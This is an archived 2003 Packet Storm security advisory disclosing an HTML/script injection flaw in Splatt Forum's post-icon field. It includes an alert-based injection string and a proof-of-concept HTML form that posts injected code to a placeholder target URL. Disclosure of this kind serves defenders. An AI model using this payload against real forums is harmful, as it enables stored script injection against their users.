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splatt.txt

🗓️ 18 Jul 2003 00:00:00Reported by Black AngelsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

HTML injection vulnerability in forum post icon allows code execution via user input.

Code
`From: "BlackAngels" <[email protected]>  
To: <[email protected]>  
Subject: Splatt Forum html injection code in post icon  
Date: Wed, 16 Jul 2003 20:36:59 +0200  
  
[ Vulnerability description]  
  
Any user can inject html code when create a new post.  
The bug is in the post icon :  
<img src=3D"icon.gif" etc.>  
If you create a personalized form with this code:  
icon.gif"><script>alert('bug');<script><anytag=3D"  
the final code of the post icon is :  
<imgsrc=3D"icon.gif"><script>alert('bug');<script><a=  
nytag=3D"" etc.>  
  
  
[ Exploit's code ]  
  
<html>  
<body>  
<script>  
<!-- Modify here -->  
var =  
address=3D'http://TargetURL/gate.html?mop=3Dmodload&name=3DForums&file=3D=  
newtopic';  
</script>=20  
  
<!-- Exploit form -->  
<script>  
document.write("<form action=3D"+address+" method=3D'post' =  
name=3D'coolsus'>");  
</script>  
Numero forum: <input type=3Dtext name=3Dforum value=3D1 size=3D3><br>  
Username: <input CLASS=3Dtextbox TYPE=3D"TEXT" NAME=3D"username" =  
SIZE=3D"25" MAXLENGTH=3D"40"><br>  
Password: <input CLASS=3Dtextbox TYPE=3D"PASSWORD" NAME=3D"password" =  
SIZE=3D"25" MAXLENGTH=3D"25"><br>  
Soggetto: <input CLASS=3Dtextbox TYPE=3D"TEXT" NAME=3D"subject" =  
SIZE=3D"75" MAXLENGTH=3D"75"><br>  
Messaggio:<br><textarea name=3D"message" rows=3D"10" cols=3D"75" =  
wrap=3D"VIRTUAL"></textarea><br>  
<input type=3Dhidden name=3Dbbcode value=3D0>  
<input type=3Dhidden name=3Dsmile value=3D0>  
<input type=3Dhidden name=3Dnotify value=3D0>  
<b>Inject code:</b> <input type=3Dtext name=3Dimage_subject =  
value=3D'icon1.gif">HTML CODE<!-- "' size=3D100><br>  
<input type=3D"submit" name=3D"submit" value=3DInvia class=3D"Button">  
</form>  
</body>  
</html>=20  
  
-------------------------------------------------------------------------=  
---  
Vulnerability and exploit by Nemesis  
BlackAngels [ Security Research and Development ]  
-------------------------------------------------------------------------=  
---  
`

Data

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18 Jul 2003 00:00Current
7.4High risk
Vulners AI Score7.4
21